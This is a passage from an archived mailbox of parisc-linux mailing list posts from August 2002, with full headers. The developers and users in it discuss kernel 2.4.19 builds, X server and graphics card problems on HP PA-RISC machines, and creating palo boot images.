NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:57 +0000 (UTC)
Cc: Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>,
	parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 09:34:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hauptpostamt.charite.de (hauptpostamt.charite.de [193.175.66.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AE0C4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 09:34:45 -0600 (MDT)
Original-Received: from postamt1.charite.de (postamt1.charite.de [193.175.66.246])
	by hauptpostamt.charite.de (Postfix) with ESMTP
	id 4166C15C00A; Mon,  5 Aug 2002 17:34:44 +0200 (CEST)
Original-Received: by postamt1.charite.de (Postfix, from userid 7945)
	id 23855633B6; Mon,  5 Aug 2002 17:34:44 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <OE56LoygXLsxpTljBOh0000669a@hotmail.com>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS snapshot-20020531
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15743

On Mon, Aug 05, 2002 at 05:20:42PM +0200, Alex Green wrote:
> Ok,
> 
> It builds from source no problems and it works on parisc... well appears to
> :).

Maybe we should file a bugreport :)

-- 
Ralf Hildebrandt (Im Auftrag des Referat V A)   Ralf.Hildebrandt@charite.de
Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450 570-155
Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450 570-916
I almost died, but I made it, so I'm not so serious about formal-wear
anymore. -- Gene Boggs



From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Alex Green" <alexdgreen@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 17:37:08 +0200
Lines: 32
Approved: news@gmane.org
Message-ID: <OE65wKHvyo3DjFbUcOV00008e54@hotmail.com>
References: <sd4ea3d1.076@ms-zrt1> <OE56LoygXLsxpTljBOh0000669a@hotmail.com> <20020805153443.GB21487@charite.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621597 12029 80.91.229.3 (22 Nov 2014 01:59:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:57 +0000 (UTC)
Cc: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>,
	<parisc-linux@lists.parisc-linux.org>
To: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 09:37:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hotmail.com (oe65.law3.hotmail.com [209.185.240.81])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E20B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 09:37:11 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Mon, 5 Aug 2002 08:37:11 -0700
X-Originating-IP: [194.175.243.90]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-OriginalArrivalTime: 05 Aug 2002 15:37:11.0226 (UTC) FILETIME=[F70AA9A0:01C23C95]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15744

no a bad idea

----- Original Message -----
From: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
To: "Alex Green" <alexdgreen@hotmail.com>
Cc: "Jurriaan Kalkman" <Jurriaan.Kalkman@zrt.nl>;
<parisc-linux@lists.parisc-linux.org>
Sent: Monday, August 05, 2002 5:34 PM
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.


> On Mon, Aug 05, 2002 at 05:20:42PM +0200, Alex Green wrote:
> > Ok,
> >
> > It builds from source no problems and it works on parisc... well appears
to
> > :).
>
> Maybe we should file a bugreport :)
>
> --
> Ralf Hildebrandt (Im Auftrag des Referat V A)
Ralf.Hildebrandt@charite.de
> Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450
570-155
> Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450
570-916
> I almost died, but I made it, so I'm not so serious about formal-wear
> anymore. -- Gene Boggs
>



From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3600 + Xfree86
Date: Mon, 5 Aug 2002 17:07:47 +0100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020805170747.T24631@parcelfarce.linux.theplanet.co.uk>
References: <OE51KKQpQq5pneeFUtL0000219c@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621597 12031 80.91.229.3 (22 Nov 2014 01:59:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alex Green <alexdgreen@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 10:07:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 305FC4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 10:07:49 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17bkOZ-0004pq-00; Mon, 05 Aug 2002 17:07:47 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <OE51KKQpQq5pneeFUtL0000219c@hotmail.com>; from alexdgreen@hotmail.com on Mon, Aug 05, 2002 at 09:43:50AM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15745

On Mon, Aug 05, 2002 at 09:43:50AM +0200, Alex Green wrote:
> Hi All,
> 
> Well I've just got my C3600 booting, however I have a problem with
> my fxe5.  Even with X configured for the fb device, the start log for
> X reports "unknown device".

unfortunately, hp have not released programming docs on the fxe, fx5 or fx10
yet.  so we don't know how to drive it.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Betr.: Re: [parisc-linux] 2.4.19 tree merged in.
Date: Mon, 5 Aug 2002 17:19:10 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20020805171910.U24631@parcelfarce.linux.theplanet.co.uk>
References: <sd4ea3d1.076@ms-zrt1> <OE56LoygXLsxpTljBOh0000669a@hotmail.com> <20020805153443.GB21487@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621598 12034 80.91.229.3 (22 Nov 2014 01:59:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:58 +0000 (UTC)
Cc: Alex Green <alexdgreen@hotmail.com>,
	Jurriaan Kalkman <Jurriaan.Kalkman@zrt.nl>,
	parisc-linux@lists.parisc-linux.org
To: Ralf Hildebrandt <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 10:19:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B3504829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 10:19:11 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17bkZa-00051V-00; Mon, 05 Aug 2002 17:19:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020805153443.GB21487@charite.de>; from Ralf.Hildebrandt@charite.de on Mon, Aug 05, 2002 at 05:34:43PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15746

On Mon, Aug 05, 2002 at 05:34:43PM +0200, Ralf Hildebrandt wrote:
> Maybe we should file a bugreport :)

filed one already ... turns out it was already uploaded, but wichert
hadn't closed the two bugs i found which were asking for a later version
to be uploaded.  so look at:

http://bugs.debian.org/cgi-bin/pkgreport.cgi?which=pkg&data=modutils&archive=no

and you'll see a few bugs closed ;-)  [down at the bottom].

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jonathan Crockett <jcrockett@midco.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Xserver on a 715/[80,100]
Date: Mon, 5 Aug 2002 14:41:25 -0500
Lines: 11
Approved: news@gmane.org
Message-ID: <20020805144125.A1444@volta.midco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621598 12037 80.91.229.3 (22 Nov 2014 01:59:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Aug  5 13:41:26 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from volta.midco.net (volta.midco.net [24.220.1.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 4794B4856
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Aug 2002 13:41:26 -0600 (MDT)
Original-Received: (qmail 32377 invoked by uid 2872); 5 Aug 2002 19:41:25 -0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15747

Does anyone have X working on a 715?  I have a 715/100 that X starts on,
but it does not refresh.  The windows don't redraw fast enough to be usable.
I also have a 715/80 that X will not start on.  I can send logs if it will
help someone help me.

Thanks in advance.
-- 
Jonathan Crockett
Network Engineer
Midcontinent Communications


From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] About the 2.4.19-pa0 kernel ...
Date: Tue, 6 Aug 2002 09:03:47 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <OE52uJnOVHKgGcaJCkj0000c0fb@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621598 12040 80.91.229.3 (22 Nov 2014 01:59:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:58 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  6 01:03:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe52.law4.hotmail.com [216.33.148.89])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3ECDE4829
	for <parisc-linux@parisc-linux.org>; Tue,  6 Aug 2002 01:03:50 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 6 Aug 2002 00:03:49 -0700
X-Originating-IP: [212.190.3.75]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 06 Aug 2002 07:03:49.0668 (UTC) FILETIME=[6A4BA640:01C23D17]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15748

Hi all,

Yesterday I've built the 2.4.19-pa0 kernel and it seems to work fine at
first sight (I did a make oldconfig with the config from the 2.4.18-pa56).
However, the powerbutton ceased working. It was working fine with the
2.4.18-pa56 kernel. Has anything changed near the code that handles this?
Can someone else with a 712 confirm this behaviour?
If you need my config, I'll send it tonight as I don't have access to this
box during the day :(
Thanks a lot.


regards,

Kenneth


From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem cross-compiling latest CVS kernel
Date: Wed, 07 Aug 2002 00:54:34 -0400
Organization: LCN
Lines: 12
Approved: news@gmane.org
Message-ID: <3D50A80A.6050209@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621599 12042 80.91.229.3 (22 Nov 2014 01:59:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:59 +0000 (UTC)
To: Parisc-Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  6 22:54:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mothra.mx.pitdc1.stargate.net (mothra.mx.pitdc1.stargate.net [206.210.69.149])
	by dsl2.external.hp.com (Postfix) with SMTP id 4F90E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Aug 2002 22:54:58 -0600 (MDT)
Original-Received: (qmail 19595 invoked from network); 7 Aug 2002 04:54:46 -0000
Original-Received: from unknown (HELO neuronet.pitt.edu) (208.40.172.96)
  by mothra.mx.pitdc1.stargate.net with SMTP; 7 Aug 2002 04:54:46 -0000
User-Agent: Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 4.0)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15749

I just updated my local copies of palo and the kernel sources.

Compilation on my PIII pc of the kernel went OK, but when it goes to 
prepare the lifimage using 'make palo' it does not work as before.

I looked at the change log of Makefile and there is no mention on how to 
create a lifimage. How is it done now?

-- 
      Rafael



From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] "unaligned access to ... at ip=..." problem with evms and jfs
Date: Tue, 6 Aug 2002 23:11:57 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020807061157.GD8214@tausq.org>
References: <1017854653.3cab3abdab486@webmail.tiscalinet.be> <20020403181337.GA3759@tausq.org> <3D4C2EAA.4050508@freebel.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621599 12044 80.91.229.3 (22 Nov 2014 01:59:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <joel.soete@freebel.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 00:07:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E459482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 00:07:47 -0600 (MDT)
Original-Received: (qmail 31517 invoked from network); 7 Aug 2002 06:07:46 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail12.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <joel.soete@freebel.net>; 7 Aug 2002 06:07:46 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 82D14CE04E; Tue,  6 Aug 2002 23:11:57 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3D4C2EAA.4050508@freebel.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15750

> I would just like to know if you already have the opportunity to have a 
> look for a fix of this stuff (I know you are very busy this time and do 
> not want to stress, just want to got news)

just came back from a trip....

i started fixing this a few weeks back but got sidetracked by the 2.5
merge.... it's definitely on my todo list :-)

fwiw i haven't seen any conclusive proof that this "fix" will actually
fix any problems we've seen....

randolph


From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Problem cross-compiling latest CVS kernel
Date: Wed, 7 Aug 2002 08:37:09 +0200
Lines: 34
Approved: news@gmane.org
Message-ID: <3D38181A0000142C@ocpmta6.be.tiscali.com>
References: <3D50A80A.6050209@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621599 12046 80.91.229.3 (22 Nov 2014 01:59:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:59 +0000 (UTC)
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>,
	"Parisc-Linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 00:34:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16714482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 Aug 2002 00:34:51 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 7 Aug 2002 08:37:09 +0200
In-Reply-To: <3D50A80A.6050209@neuronet.pitt.edu>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15751

Hey Rafael,

Just have a look to annonce of Paul:
http://lists.parisc-linux.org/pipermail/parisc-linux/2002-July/017144.html

It should help you.

J.

>-- Original Message --
>From: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
>To: Parisc-Linux <parisc-linux@lists.parisc-linux.org>
>Subject: [parisc-linux] Problem cross-compiling latest CVS kernel
>Date: Wed, 07 Aug 2002 00:54:34 -0400
>
>
>I just updated my local copies of palo and the kernel sources.
>
>Compilation on my PIII pc of the kernel went OK, but when it goes to 
>prepare the lifimage using 'make palo' it does not work as before.
>
>I looked at the change log of Makefile and there is no mention on how to
>
>create a lifimage. How is it done now?
>
>-- 
>      Rafael
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:24:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Palo: cmdline and commanline has different limits?
Date: Wed, 7 Aug 2002 08:30:58 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <3D38181A0000142A@ocpmta6.be.tiscali.com>
References: <20020805145919.GB31773@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621600 12048 80.91.229.3 (22 Nov 2014 02:00:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:00 +0000 (UTC)
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>,
	"Joel Soete" <joel.soete@freebel.net>, bame@fc.hp.com,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Aug  7 00:36:43 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id E3C10482E
	for <parisc-linux@parisc-linux.org>; Wed,  7 Aug 2002 00:36:42 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 7 Aug 2002 08:30:58 +0200
In-Reply-To: <20020805145919.GB31773@systemhalted>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
